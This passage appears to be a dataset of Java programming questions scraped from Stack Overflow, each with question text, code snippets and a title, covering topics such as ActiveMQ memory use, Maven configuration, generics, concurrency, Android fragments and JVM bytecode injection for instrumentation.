//activemq.apache.org/schema/core '' brokerName= '' cms-mq '' dataDirectory= '' $ { activemq.data } '' > < destinationInterceptors > < virtualDestinationInterceptor > < virtualDestinations > < virtualTopic name= '' VirtualTopic. > '' selectorAware= '' true '' / > < /virtualDestinations > < /virtualDestinationInterceptor > < /destinationInterceptors > < destinationPolicy > < policyMap > < policyEntries > < policyEntry topic= '' > '' producerFlowControl= '' false '' > < /policyEntry > < policyEntry queue= '' > '' producerFlowControl= '' false '' > < /policyEntry > < /policyEntries > < /policyMap > < /destinationPolicy > < managementContext > < managementContext createConnector= '' false '' / > < /managementContext > < persistenceAdapter > < kahaDB directory= '' $ { activemq.data } /kahadb '' / > < /persistenceAdapter > < systemUsage > < systemUsage > < memoryUsage > < memoryUsage percentOfJvmHeap= '' 70 '' / > < /memoryUsage > < storeUsage > < storeUsage limit= '' 4 gb '' / > < /storeUsage > < tempUsage > < tempUsage limit= '' 4 gb '' / > < /tempUsage > < /systemUsage > < /systemUsage > < transportConnectors > < transportConnector name= '' auto '' uri= '' auto+nio : //0.0.0.0:61616 ? maximumConnections=1000 & amp ; auto.protocols=default , stomp '' / > < /transportConnectors > < shutdownHooks > < bean xmlns= '' http : //www.springframework.org/schema/beans '' class= '' org.apache.activemq.hooks.SpringContextHook '' / > < /shutdownHooks > < plugins > ... security plugins config ... < /plugins > < /broker > < import resource= '' jetty.xml '' / > < /beans > /usr/java/default/bin/java -Xms256M -Xmx1G -Dorg.apache.activemq.UseDedicatedTaskRunner=false -XX : HeapDumpPath=/var/logs/heapDumps -XX : +HeapDumpOnOutOfMemoryError -Dcom.sun.management.jmxremote.port=8162 -Dcom.sun.management.jmxremote.rmi.port=8162 -Dcom.sun.management.jmxremote.password.file=/opt/apache-activemq-5.13.0//conf/jmx.password -Dcom.sun.management.jmxremote.access.file=/opt/apache-activemq-5.13.0//conf/jmx.access -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote -Djava.awt.headless=true -Djava.io.tmpdir=/opt/apache-activemq-5.13.0//tmp -Dactivemq.classpath=/opt/apache-activemq-5.13.0//conf : /opt/apache-activemq-5.13.0//../lib/ -Dactivemq.home=/opt/activemq -Dactivemq.base=/opt/activemq -Dactivemq.conf=/opt/apache-activemq-5.13.0//conf -Dactivemq.data=/opt/apache-activemq-5.13.0//data -jar /opt/activemq/bin/activemq.jar start Leak Suspects247,036 instances of `` org.apache.activemq.command.ActiveMQBytesMessage '' , loaded by `` java.net.URLClassLoader @ 0xc02e9470 '' occupy 811,943,360 ( 76.92 % ) bytes . 81 instances of `` org.apache.activemq.broker.region.cursors.FilePendingMessageCursor '' , loaded by `` java.net.URLClassLoader @ 0xc02e9470 '' occupy 146,604,368 ( 13.89 % ) bytes . | ERROR | Could not accept connection from null : java.lang.IllegalStateException : Timer already cancelled . | org.apache.activemq.broker.TransportConnector | ActiveMQ BrokerService [ cms-mq ] Task-13707| INFO | The connection to 'null ' is taking a long time to shutdown . | org.apache.activemq.broker.TransportConnection | ActiveMQ BrokerService [ cms-mq ] Task-13738",activemq oom after enabling stomp +Java,"Hi all whenever I use the synchronized statement , I often use this pattern : However , in the source of java.lang.Reference , I see that they employ this pattern instead : I was wondering what 's the benefit of declaring a new class Lock ( which basically extends Object and do nothing else ) ? Or rather , why did n't they simply use private static Lock lock = new Object ( ) ; ?",private static Object lock = new Object ( ) ; public void F ( ) { //.. synchronized ( lock ) { //.. } //.. } static private class Lock { } ; private static Lock lock = new Lock ( ) ; public void run ( ) { //..synchronized ( lock ) { //.. } //.. },What 's the benefit of creating a `` Lock '' class ( which extends Object and does nothing ) ? +Java,"In my pom.xml I configure a plugin to convert certain Protobuf files to Java class files . It looks like this : Out of this Maven generates the .classpath file with the following entry : What I would now like Maven to do is to add an additional `` attribute '' entry to that classpath entry so that the entry looks like this : Like that I wo n't get warnings from that part of the code.At the moment I just do n't know how to do that . Which files or other settings do I have to edit ? Where in Eclipse can I do that ? But this is more or less a general question as to how Maven can be modified to include customized entries , because we have some more spots where we would want to add custom things in .",< plugin > < groupId > com.github.igor-petruk.protobuf < /groupId > < artifactId > protobuf-maven-plugin < /artifactId > < version > 0.5.3-SNAPSHOT < /version > < executions > < execution > < goals > < goal > run < /goal > < /goals > < /execution > < /executions > < configuration > < protocCommand > $ { basedir } /protoc/bin/protoc < /protocCommand > < inputDirectories > < inputDirectory > proto < /inputDirectory > < /inputDirectories > < /configuration > < /plugin > < classpathentry kind= '' src '' output= '' target/classes '' path= '' target/generated-sources/protobuf '' > < attributes > < attribute name= '' optional '' value= '' true '' / > < attribute name= '' maven.pomderived '' value= '' true '' / > < /attributes > < /classpathentry > < classpathentry kind= '' src '' output= '' target/classes '' path= '' target/generated-sources/protobuf '' > < attributes > < attribute name= '' optional '' value= '' true '' / > < attribute name= '' maven.pomderived '' value= '' true '' / > < attribute name= '' ignore_optional_problems '' value= '' true '' / > < /attributes > < /classpathentry >,How to add specific configuration to a Maven plugin +Java,"I 've faced the following weird case of an incompleteness of the Java/JVM specification . Suppose we have the classes ( we will use Java 1.8 and HotSpot ) : Then recompile the Class to be an interface without recompiling theUser ` : Running the User.main now produces the same output hi . It seems obvious , but I would expect it to fail with the IncompatibleClassChangeError and that 's why : I know that changing a class to an interface is a binary incompatibility according to JVM 5.3.5 # 3 statement : If the class or interface named as the direct superclass of C is , in fact , an interface , loading throws an IncompatibleClassChangeError.But let 's assume we do n't have inheritors of the Class . We now have to refer the JVM specification about method 's resolution.The first version is compiled into this bytecode : So we have here something called CONSTANT_Methodref_info in classpool.Let 's quote the actions of the invokestatic . ... The run-time constant pool item at that index must be a symbolic reference to a method or an interface method ( §5.1 ) , which gives the name and descriptor ( §4.3.3 ) of the method as well as a symbolic reference to the class or interface in which the method is to be found . The named method is resolved ( §5.4.3.3 ) .So the JVM treats method and interface methods in a different manner . In our case , JVM sees the method to be a method of the class ( not interface ) . JVM tries to resolve it accordingly 5.4.3.3 Method Resolution : According to JVM specification , the JVM must fail on the following statement : 1 ) If C is an interface , method resolution throws an IncompatibleClassChangeError ... .because Class is not actually a class , but an interface.Unfortunately , I have n't found any mentions about binary compatibility of changing a class to interface in the Java Language Specification Chapter 13 . Binary Compatibility . Moreover , there is nothing said about such tricky case of referencing the same static method . Could anybody elaborate on that and show me if I missed something ?",public class Class { public static void foo ( ) { System.out.println ( `` hi '' ) ; } } public class User { public static void main ( String [ ] args ) { Class.foo ( ) ; } } public interface Class { public static void foo ( ) { System.out.println ( `` hi '' ) ; } } public static void main ( java.lang.String [ ] ) ; Code : 0 : invokestatic # 2 // Method examples/Class.foo : ( ) V 3 : return,Binary compatibility of changing a class with static methods to interface in Java +Java,Why is length a data field in when we talk about arrays and length ( ) when we talk about String in Java ? Means : Why is length not a function in case of arrays or vice versa ?,"int a [ 10 ] = { 1,2,3,4,5,6,7,8,9,10 } ; String str = `` foo '' ; int a_len = a.length ; int str_len = str.length ( ) ;",length in arrays and length ( ) in String +Java,"What is the best practice for versioning and release management in the following case with multiprojects ? Project structureglobal parentparent project ( Version : 1.0-SNAPSHOT ) child project 1 ( same like parent ) child project 2 ( same like parent ) child project 3 ( same like parent ) child project 4 ( same like parent ) …I want to set only one time the version for the parent and all child projects , because every part of the project must have the same version.Also what i want is , to release the project with continuum/maven.Current `` bad '' solution : Normaly a easy way should be to set the version in the parent pom and say in every child „ last version from parent “ but this dont work with maven < 3.1 ( See here ) [ http : //jira.codehaus.org/browse/MNG-624 ] Now i set in every child project the version of the parent project and for every release i must change the version in all childs and the parent.Example : ParentChildIf i want to release my projects now with Continuum i use the following order to release it : Parent ProjectChild Project 1Child Project 2…But this dont work , because after changeing the version of the parent , the childs dont have anymore a SNAPSHOT version in the parent and i think there must be a better way to release a multiproject with continuum .",< groupId > com.test < /groupId > < artifactId > com.test.buildDefinition < /artifactId > < version > 1.0-SNAPSHOT < /version > < parent > < groupId > com.test < /groupId > < artifactId > com.test.buildDefinition < /artifactId > < version > 1.0-SNAPSHOT < /version > < /parent > < groupId > com.test < /groupId > < artifactId > com.test.project < /artifactId > < version > $ { parent.version } < /version >,Best practice : Versioning and releases in multiprojects +Java,"I understand closure and have applied in some language such as Python and SML . Nevertheless , when I read wikipedia about closure in Java ( of course , just 8 version ) , I do n't understand difference if Java supports closure or not in their example.Those code I copy from Wikipedia : ClosureThe java code without closure : And if Java supports closure , the code will looks like : So , my question is : if Java supports closure , which special thing in second code ? I really do n't see main difference between two code.Please tell me this point.thanks : )",class CalculationWindow extends JFrame { private volatile int result ; ... public void calculateInSeparateThread ( final URI uri ) { // The expression `` new Runnable ( ) { ... } '' is an anonymous class implementing the 'Runnable ' interface . new Thread ( new Runnable ( ) { void run ( ) { // It can read final local variables : calculate ( uri ) ; // It can access private fields of the enclosing class : result = result + 10 ; } } ) .start ( ) ; } } class CalculationWindow extends JFrame { private volatile int result ; ... public void calculateInSeparateThread ( final URI uri ) { // the code ( ) - > { /* code */ } is a closure new Thread ( ( ) - > { calculate ( uri ) ; result = result + 10 ; } ) .start ( ) ; } },Java : explain Closure in this code +Java,"I 'm new to Java Threads and synchronization.Lets say I have : What does it mean when I synchronize a method1 ( ) on an instance object ? So when a thread acquired the lock when trying to access the synchronized method1 ( ) , does it prevent other threads to access another synchronized method2 ( ) from that same object ? Lets say a thread acquires a lock when accessing method1 ( ) , but lets say that method1 ( ) makes a call to method2 ( ) which is also synchronized . Can this be possible ? I mean are there any rules that can prevent method1 ( ) from calling method2 ( ) ? Thanks in advance .",public class MyClass ( ) { public synchronized void method1 ( ) { //call method2 ( ) ; } public synchronized void method2 ( ) { } ; },Java synchronized question +Java,"I dont know how to handle new BigDecimal ( `` 0E30 '' ) . Its value is 0 but it does n't compare to BigDecimal.ZERO . See below : Could someone help me to make the comparison true ( I know I can get a workaround by converting the BigDecimals to double , but I would like to know what is going on ) ? I am using JRE 1.6.3.thanks",System.out.println ( new BigDecimal ( `` 0E30 '' ) .add ( BigDecimal.ONE ) ) ; // -- - > 1System.out.println ( new BigDecimal ( `` 0E30 '' ) .equals ( BigDecimal.ZERO ) ) ; // -- - > false,0E30 is not ZERO +Java,"Since there have been so many operator precedence questions recently , I started playing with some code and came up with this : This gives : I tried this because I was interested to learn how java would deal with the fact that postfix has a higher operator precedence than prefix . This seems like the above statement would lead to a contradiction , which I guess is handled by this error . My question is two-fold : Why this error ? What does it mean , exactly ? Why does postfix have a higher precedence than prefix ? I 'm sure there 's a good reason for it , but I have n't been able to come up with one . Perhaps it would fix this undefined behavior , but it would somehow give rise to more problems ?",int x = someNumber ; int y = -- x++ ; Error : unexpected typerequired : variablefound : value,Operator precedence issue leads to `` error : unexpected type '' +Java,"I want to test from a unit test whether a notification is able to play a custom sound from assets.The test is not meant to verify anything , I wrote it as a quick way of demonstrating a feature without cluttering the main app code.So In the test project , I added a wav file inside /res/raw . I 'll be using this URL with the notification builder : That URL should work according to the questions I 've been reading in SO . Let 's assume it works.Now because I did n't want to include the test wav file in the main project 's /res/raw folder but in the test project one , I 'm forced to make my unit test extend from InstrumentationTestCase so that I can access the resources in the test project.Here 's the code : The notify call is throwing the following exception : I 've tracked this exception down to the NotificationManagerService class : Apparently the exception does n't have anything to do with the custom sound , but with the fact that we 're creating a notification from an InstrumentationTestCase.Is there a way of testing this ? I remember having created notifications from AndroidTestCase in the past , but if I do that then I wont be able to access the test wav file . I could create a jar with the wav and drop the jar in the test project 's lib folder , but that would be hiding the file , and other programmers might have a hard time looking for it if they need to replace it in the future .","Uri path = Uri.parse ( `` android.resource : // < main app package name > /testsound.wav '' ) ; NotificationCompat.Builder builder = new NotificationCompat.Builder ( getInstrumentation ( ) .getContext ( ) ) ; ... builder.setSound ( path , AudioManager.STREAM_NOTIFICATION ) ; ... NotificationManager notificationManager = ( NotificationManager ) getInstrumentation ( ) .getContext ( ) .getSystemService ( Context.NOTIFICATION_SERVICE ) ; notificationManager.notify ( NOTIFICATION_ID , builder.build ( ) ) ; java.lang.SecurityException : Calling uid 10198 gave package < main app package name > which is owned by uid 10199 at android.os.Parcel.readException ( Parcel.java:1540 ) at android.os.Parcel.readException ( Parcel.java:1493 ) at android.app.INotificationManager $ Stub $ Proxy.enqueueNotificationWithTag ( INotificationManager.java:611 ) at android.app.NotificationManager.notify ( NotificationManager.java:187 ) at android.app.NotificationManager.notify ( NotificationManager.java:140 ) ... at android.app.Instrumentation $ InstrumentationThread.run ( Instrumentation.java:1873 ) void checkCallerIsSystemOrSameApp ( String pkg ) { int uid = Binder.getCallingUid ( ) ; if ( UserHandle.getAppId ( uid ) == Process.SYSTEM_UID || uid == 0 ) { return ; } try { ApplicationInfo ai = AppGlobals.getPackageManager ( ) .getApplicationInfo ( pkg , 0 , UserHandle.getCallingUserId ( ) ) ; if ( ! UserHandle.isSameApp ( ai.uid , uid ) ) { throw new SecurityException ( `` Calling uid `` + uid + `` gave package '' + pkg + `` which is owned by uid `` + ai.uid ) ; } } catch ( RemoteException re ) { throw new SecurityException ( `` Unknown package `` + pkg + `` \n '' + re ) ; } }",Creating notification from InstrumentationTestCase +Java,"Context : A new class say Bar , is injected into the JVM at run-time . This class belongs to a package say com.foo.A reference to this class is injected into another class that belongs to the same package.The new class may have a different name each time it is loaded - so this can not be specified as part of any config file - e.g . can not be specified in build.xml to be included as part of a jar file.Issue : At class load time , jvm throws an error - java Result 1 . Although I can not conclusively determine the root cause , it looks like the newly injected class is not being found by class loader.The server was run in verbose mode which shows the list of classes loaded by the JVM and this newly injected class is seen loaded.Question : Is the newly injected class already in the classpath ? If not how to set it ? [ Edit ] - adding some code to the question.Code segment - 1 : This code segment below is called from the PreMain method - Premain method will be called by JVM agent and will inject the instrumentation reference at run time . Premain method injects 1 new class - Bar - and 1 reference to this new class from a method - returnsABool ( ) - in an existing class - ExistingClass.Code sement 2 : The method returnsABool ( ) needs to be byte-injected with the commented lines shown below . The code to byte inject this is also called from the PreMain method.Byte code injection for ExistingClass - done using asm library","public static void premain ( String agentArgs , Instrumentation inst ) { // 1 . Create and load the new class - Bar String className = `` Bar '' ; byte [ ] b = getBytesForNewClass ( ) ; //override classDefine ( as it is protected ) and define the class . Class clazz = null ; try { ClassLoader loader = ClassLoader.getSystemClassLoader ( ) ; Class cls = Class.forName ( `` java.lang.ClassLoader '' ) ; java.lang.reflect.Method method = cls.getDeclaredMethod ( `` defineClass '' , new Class [ ] { String.class , byte [ ] .class , int.class , int.class } ) ; // protected method invocation method.setAccessible ( true ) ; try { Object [ ] args = new Object [ ] { className , b , new Integer ( 0 ) , new Integer ( b.length ) } ; clazz = ( Class ) method.invoke ( loader , args ) ; } finally { method.setAccessible ( false ) ; } } catch ( Exception e ) { System.err.println ( `` AllocationInstrumenter was unable to create new class '' + e.getMessage ( ) ) ; e.printStackTrace ( ) ; } // 2 . Inject some lines of code into the returnsABool method in ExistingClass class that references Bar inst.addTransformer ( new CustomInstrumenter ( ) , true ) ; // end of premain method } public class ExistingClass { public static boolean returnsABool ( ) { // Code within comments is byte-injected , again as part of the pre-main method /* String str = Bar.get ( ) ; if ( str ! = `` someValue '' ) { return true ; } */ return false ; } } { MethodVisitor mv = cv.visitMethod ( access , name , desc , signature , exceptions ) ; mv.visitCode ( ) ; Label l0 = new Label ( ) ; mv.visitLabel ( l0 ) ; mv.visitMethodInsn ( Opcodes.INVOKESTATIC , `` com/Bar '' , `` get '' , `` ( ) Ljava/lang/String ; '' ) ; mv.visitLdcInsn ( `` some constant here '' ) ; Label l1 = new Label ( ) ; mv.visitJumpInsn ( Opcodes.IF_ACMPNE , l1 ) ; mv.visitInsn ( Opcodes.ICONST_0 ) ; Label l2 = new Label ( ) ; mv.visitJumpInsn ( Opcodes.GOTO , l2 ) ; mv.visitLabel ( l1 ) ; mv.visitFrame ( Opcodes.F_SAME , 0 , null , 0 , null ) ; mv.visitInsn ( Opcodes.ICONST_1 ) ; mv.visitFrame ( Opcodes.F_SAME1 , 0 , null , 1 , new Object [ ] { Opcodes.INTEGER } ) ; mv.visitInsn ( Opcodes.IRETURN ) ; mv.visitMaxs ( 2 , 0 ) ; mv.visitEnd ( ) ; }",setting the classpath for a newly injected class +Java,"Generally I 've always seen try-with-resources used to allocate a new object instance whose close ( ) method is invoked as it goes out-of-scope.As far as I can tell , creating a new object is not a requirement and the try-with-resources syntax simply needs a local variable to call close ( ) on when that goes out-of-scope . Therefore you can use it to control `` paired operations '' such as allocating something from a pool and making sure it is returned.For example , MyHandle below shows how to release a pooled instance when you no longer need it : Is this considered bad form ? EDIT : I guess I 'm asking if there 's better alternatives to building this sort of logic , or if there 's some major drawback when going with the approach above . I find that using this in a library makes for a clean API.EDIT 2 : Please disregard problems in the code example , I wrote it inline in the SO text box to make my question clear with some sort of example . Obviously it 's not real code ! : )","// initclass MyHandle implements AutoCloseable { boolean inUse = false ; public MyHandle allocate ( ) { inUse = true ; return this ; } public void close ( ) { inUse = false ; } } MyHandle [ ] pool = new MyHandle [ POOL_SIZE ] ; for ( int i = 0 ; i < pool.length ; i++ ) { pool [ i ] = new MyHandle ( i ) ; } // allocateMyHandle allocateFromPool ( ) { for ( int i = 0 ; i < pool.length ; i++ ) { if ( ! pool [ i ] .inUse ) return pool [ i ] .allocate ( ) ; } throw new Exception ( `` pool depleted '' ) ; } // using resources from the pooltry ( MyHandle handle = allocateFromPool ( ) ) { // do something } // at this point , inUse==false for that handle ...",Is using try-with-resources without a new object instance bad form ? +Java,Example AStudy the following snippet : Can someone explain why type inference works for the assignment to local variable p but not for the second actual parameter to process ? Example BThis is perhaps simpler to understand : Same question : why does n't it compile ? I 'd hope that Collections.emptySet ( ) would just work for ANY parameterized Set type .,"public class ExampleA { static class Pair < F , S > { } static < F , S > Pair < F , S > anyPair ( ) { return null ; } static < F , S > void process ( Pair < F , S > p1 , Pair < F , S > p2 ) { return ; } public static void main ( String [ ] args ) { Pair < String , Integer > p = anyPair ( ) ; process ( p , anyPair ( ) ) ; // does n't compile } } public class ExampleB { public static < E > void process ( Set < E > s1 , Set < E > s2 ) { return ; } public static void main ( String [ ] args ) { process ( new HashSet < String > ( ) , Collections.emptySet ( ) ) ; // does n't compile } }",Generics type inference fails ? +Java,"I 've been wondering : is it possible to use Universal Tween Engine in LibGDX to - for example - change the volume of a song ? I wrote my own MusicAccessor with code similar to my SpriteAccessor , which actually works for Sprite.class , but when it comes to music objects - it always gets the same error : The thing is , I DO register my accessor by : Tween.registerAccessor ( Music.class , new MusicAccessor ( ) ) ; I 'm quite sure it 's actually being registered , as System.out.println ( Tween.getRegisteredAccessor ( Music.class ) ) ; prints : the.name.of.my.packages.MusicAccessor @ 14bb523 . Honestly , I 'm stuck.The music file itself is in .mp3 format and I load it by an asset manager.So , my questions are : why the Tween Engine can not correctly recognise the class of my music object ? Is there a way to make it work or am I stuck with regular timers to change the volume over time ? Would changing the format or loading the music file in a different way help ?",java.lang.RuntimeException : No TweenAccessor was found for the target,TweenAccessor for music.class in LibGDX +Java,"IntroductionHuh , this is a tough one . At least , I think so ... To clear things up : I did not find any answers to my question after searching the internet ( using Google ) .Everything I found was about people setting up the onClickListener 's for their View 's wrong . I guess it is the same problem in my case , but none of the other problems matched mine . This seems to be the same problem ... It has no answers.SetupI 've got three Fragment 's set up together with a ViewPager in my AppCompatActivity.Handled by the SectionsPagerAdapter.In each of the Fragment 's I have some content plus a custom TabIndicator . ( the following xml file is my View 's for the indicator ) And then I set an OnClickListener for each of those View 's ( dividers ) in the Fragment 's onCreateView ( LayoutInflater inflater , ViewGroup Bundle savedInstanceState ) method . The OnClickListener is already prepared in my Activity where I also instantiate my ViewPager so that I can change the current Item ( Fragment/tab ) .I pass that OnClickListener to the Fragment 's by putting it into my newInstance ( View.OnClickListener tabIndicatorOnClick ) method . This is for one of the fragments . It is identical for the others ! My putIndicatorTabIndicatorOnClick ( View.OnClickListener tabIndicatorOnClick ) method is a Void in an Interface . It just applies the OnClickListener to the Class ( Fragment ) .Does it workYes it does . It works perfectly fine ... until a ConfigurationChange happens . In my case I tested it with changing the orientation.The ProblemWhat happens after that ConfigurationChange is that everything goes normally . The OnClickListener gets applied to all View 's in all Fragment 's , but the tabIndicatorOnClick OnClickListener is a null object reference in the second and third Fragment . So in PostWriter and TopPage there is n't even really an OnClickListener on the View 's for what ever reason . But it gets better : In MainTextHolder Fragment the tabIndicatorOnClick is not a null object reference , but it does not change the ViewPager 's Item anymore . It runs the code , but it does not scroll the Tab.When turning on `` Do n't keep activities '' ind Developer options of the device and leaving the app , all OnClickListener 's are null object references . Even those in MainTextHolder.SummaryAfter the ConfigurationChange the OnClickListener gets passed into my first Fragment , but it is no working properly and in the remaining Fragment 's it is not even passed / a null object reference.The issue can be replicated through destroying the Activity and then reloading it.In the end ... ... I have no clue what is going wrong . I hope that I structured my question properly . May be of interest minSdkVersion : 14 targetSdkVersion : 25I already have a SpringIndicator on my ViewPager . This does not feature an OnClickListener so I added my own `` overlayed '' indicators which have the needed OnClick feature . I also like the look of it , but if you can give me a better solution for my TabIndicator , I would also love to have that as an answer.I came across the solution to put the method into the xml : onClick attribute multiple times , but for that I would need to create the same OnClickListener for every Fragment which is not really the nice way and it is also not solving my problem , but a way around it . - I would need to pass the ViewPager into my Fragment and then call that method from xml which is , as I said , just another way of doing it and not the way I prefer to do it . Also I do n't know if it works . I 'll most likely test it.Other OnClickListener 's in the Fragment still work properly . So as I said the problem lays in the OnClickListener itself not working right/being a null object reference .","viewPager = ( ViewPager ) findViewById ( R.id.main_view_pager ) ; viewPager.setAdapter ( new SectionsPagerAdapter ( getSupportFragmentManager ( ) ) ) ; public class SectionsPagerAdapter extends FragmentPagerAdapter { SectionsPagerAdapter ( FragmentManager fm ) { super ( fm ) ; } @ Override public Fragment getItem ( int position ) { switch ( position ) { case 0 : return MainTextHolder.newInstance ( tabIndicatorOnClick ) ; case 1 : return PostWriter.newInstance ( tabIndicatorOnClick ) ; case 2 : return TopPage.newInstance ( tabIndicatorOnClick ) ; default : return Error.newInstance ( ) ; } } @ Override public int getCount ( ) { return 3 ; } // ... more methods } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < LinearLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' > < View android : id= '' @ +id/fragment_divider_one '' android : layout_width= '' 0dp '' android : layout_height= '' match_parent '' android : layout_weight= '' 1 '' android : tag= '' one '' / > < View android : id= '' @ +id/fragment_divider_two '' android : layout_width= '' 0dp '' android : layout_height= '' match_parent '' android : layout_weight= '' 1 '' android : tag= '' two '' / > < View android : id= '' @ +id/fragment_divider_three '' android : layout_width= '' 0dp '' android : layout_height= '' match_parent '' android : layout_weight= '' 1 '' android : tag= '' three '' / > < /LinearLayout > private final View.OnClickListener tabIndicatorOnClick = new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { if ( view.getTag ( ) .toString ( ) .equals ( `` one '' ) ) viewPager.setCurrentItem ( 0 , true ) ; // second argument for smooth transition else if ( view.getTag ( ) .toString ( ) .equals ( `` two '' ) ) viewPager.setCurrentItem ( 1 , true ) ; else if ( view.getTag ( ) .toString ( ) .equals ( `` three '' ) ) viewPager.setCurrentItem ( 2 , true ) ; } } ; public static MainTextHolder newInstance ( View.OnClickListener tabIndicatorOnClick ) { MainTextHolder fragment = new MainTextHolder ( ) ; Bundle args = new Bundle ( ) ; fragment.putIndicatorTabIndicatorOnClick ( tabIndicatorOnClick ) ; fragment.setArguments ( args ) ; fragment.setRetainInstance ( true ) ; return fragment ; } @ Overridepublic void putIndicatorTabIndicatorOnClick ( View.OnClickListener tabIndicatorOnClick ) { this.tabIndicatorOnClick = tabIndicatorOnClick ; }",onClickListener not working ( properly ) after ConfigurationChange in fragments +Java,"I want to transform pairs of numbers to a range of integers so I can perform functions on them.for example each of these lines : should be transformed to array i.e : [ 1,2,3,4 ] .my goal is to do a count on the most frequent number.i am trying to do it like the word count example , but the problem is how to create the range stream from the two numbers in each line ?","1-45-61-24-7 Path path = Paths.get ( args [ 0 ] ) ; Map < String , Long > wordCount = Files.lines ( path ) .flatMap ( line - > Arrays.stream ( line.trim ( ) .split ( `` - '' ) ) ) . .map ( word - > word.replaceAll ( `` [ ^a-zA-Z ] '' , `` '' ) .toLowerCase ( ) .trim ( ) ) .filter ( num - > num.length ( ) > 0 ) .map ( number - > new SimpleEntry < > ( number , 1 ) ) .collect ( Collectors.groupingBy ( SimpleEntry : :getKey , Collectors.counting ( ) ) ) ;",java stream individual numbers to a range +Java,"I 'm creating multiple streams which I have to access in parallel ( or possibly-parallel ) . I know how to make a try-with-resources when the amount of resources is fixed at compile-time , but what if the amount of resources is determined by a parameter ? I have something like this :","private static void foo ( String path , String ... files ) throws IOException { @ SuppressWarnings ( `` unchecked '' ) Stream < String > [ ] streams = new Stream [ files.length ] ; try { for ( int i = 0 ; i < files.length ; i++ ) { final String file = files [ i ] ; streams [ i ] = Files.lines ( Paths.get ( path , file ) ) .onClose ( ( ) - > System.out.println ( `` Closed `` + file ) ) ; } // do something with streams Stream.of ( streams ) .parallel ( ) .flatMap ( x - > x ) .distinct ( ) .sorted ( ) .limit ( 10 ) .forEach ( System.out : :println ) ; } finally { for ( Stream < String > s : streams ) { if ( s ! = null ) { s.close ( ) ; } } } }",How to properly close a variable amount of streams ? +Java,"I wrote this algorithm . It works ( at least with my short test cases ) , but takes too long on larger inputs . How can I make it faster ? I am loosely following the algorithm explained here : http : //www.cs.mcgill.ca/~cs251/ClosestPair/ClosestPairDQ.htmland a different resource with pseudocode here : http : //i.imgur.com/XYDTfBl.pngI can not change the return type of the function , or add any new arguments.Thanks for any help !","// Returns an array of length 2 with the two closest points to each other from the// original array of points `` arr '' private static Point2D [ ] getClosestPair ( Point2D [ ] arr ) { int n = arr.length ; float min = 1.0f ; float dist = 0.0f ; Point2D [ ] ret = new Point2D [ 2 ] ; // If array only has 2 points , return array if ( n == 2 ) return arr ; // Algorithm says to brute force at 3 or lower array items if ( n < = 3 ) { for ( int i = 0 ; i < arr.length ; i++ ) { for ( int j = 0 ; j < arr.length ; j++ ) { // If points are identical but the point is not looking // at itself , return because shortest distance is 0 then if ( i ! = j & & arr [ i ] .equals ( arr [ j ] ) ) { ret [ 0 ] = arr [ i ] ; ret [ 1 ] = arr [ j ] ; return ret ; } // If points are not the same and current min is larger than // current stored distance else if ( i ! = j & & dist < min ) { dist = distanceSq ( arr [ i ] , arr [ j ] ) ; ret [ 0 ] = arr [ i ] ; ret [ 1 ] = arr [ j ] ; min = dist ; } } } return ret ; } int halfN = n/2 ; // Left hand side Point2D [ ] LHS = Arrays.copyOfRange ( arr , 0 , halfN ) ; // Right hand side Point2D [ ] RHS = Arrays.copyOfRange ( arr , halfN , n ) ; // Result of left recursion Point2D [ ] LRes = getClosestPair ( LHS ) ; // Result of right recursion Point2D [ ] RRes = getClosestPair ( RHS ) ; float LDist = distanceSq ( LRes [ 0 ] , LRes [ 1 ] ) ; float RDist = distanceSq ( RRes [ 0 ] , RRes [ 1 ] ) ; // Calculate minimum of both recursive results if ( LDist > RDist ) { min = RDist ; ret [ 0 ] = RRes [ 0 ] ; ret [ 1 ] = RRes [ 1 ] ; } else { min = LDist ; ret [ 0 ] = LRes [ 0 ] ; ret [ 1 ] = LRes [ 1 ] ; } for ( Point2D q : LHS ) { // If q is close to the median line if ( ( halfN - q.getX ( ) ) < min ) { for ( Point2D p : RHS ) { // If p is close to q if ( ( p.getX ( ) - q.getX ( ) ) < min ) { dist = distanceSq ( q , p ) ; if ( ! q.equals ( p ) & & dist < min ) { min = dist ; ret [ 0 ] = q ; ret [ 1 ] = p ; } } } } } return ret ; } private static float distanceSq ( Point2D p1 , Point2D p2 ) { return ( float ) Math.pow ( ( p1.getX ( ) - p2.getX ( ) ) + ( p1.getY ( ) - p2.getY ( ) ) , 2 ) ; }",How to make shortest path between two points algorithm faster ? +Java,"When I read the `` java concurrency in practice '' c03 , I was confused by the following program : Because of the reordering and thread visibility , the loop may never stop , or the output may be zero , but I have tried many times , and the output is always 42 . All the reason is I 'm too lucky ?",public class NoVisibility { private static boolean ready ; private static int number ; private static class ReaderThread extends Thread { public void run ( ) { while ( ! ready ) Thread.yield ( ) ; System.out.println ( number ) ; } } public static void main ( String [ ] args ) { new ReaderThread ( ) .start ( ) ; number = 42 ; ready = true ; } },java thread visibility +Java,I am trying to mock the following JNA call using EasyMockUsing this test methodI am getting the following error using version 4.3.0 of the JNA libraryThe same code is fine with version 4.2.0 of the JNA libraryHere are the method signatures for the method I am trying to mockVersion 4.2.0Version 4.3How do I go about mocking the return of a generic return type using EasyMock ? ThanksDamien,"convInterface = ( ConvInterface ) Native.loadLibrary ( libraryLocation , ConvInterface.class ) ; @ Testpublic void testLib ( ) { Capture < Class < ? > > myClassCapture = EasyMock.newCapture ( ) ; PowerMock.mockStatic ( Native.class ) ; EasyMock.expect ( Native.loadLibrary ( EasyMock.isA ( String.class ) , EasyMock.capture ( myClassCapture ) ) ) .andReturn ( mockConvInterface ) ; PowerMock.replay ( Native.class ) ; ConvServiceImpl myLib = new ConvServiceImpl ( ) ; myLib.instantiateConvLibrary ( ) ; PowerMock.verify ( Native.class ) ; } The method andReturn ( capture # 1-of ? ) in the type IExpectationSetters < capture # 1-of ? > is not applicable for the arguments ( ConvInterface ) public static Object loadLibrary ( String name , Class interfaceClass ) { public static < T > T loadLibrary ( String name , Class < T > interfaceClass ) {",EasyMock and JNA - Mock Generic Return Type +Java,"When I run following program ( running with `` java -Xmx151M -cp . com.some.package.xmlfun.Main '' ) : I need to increase maximum memory to at least 151M ( -Xmx151M ) . Accordingly , when I increase array size the limit needs to be increased:50 * 1024 * 1024 - > -Xmx151M100 * 1024 * 1024 - > -Xmx301M150 * 1024 * 1024 - > -Xmx451MWhy does it looks like java 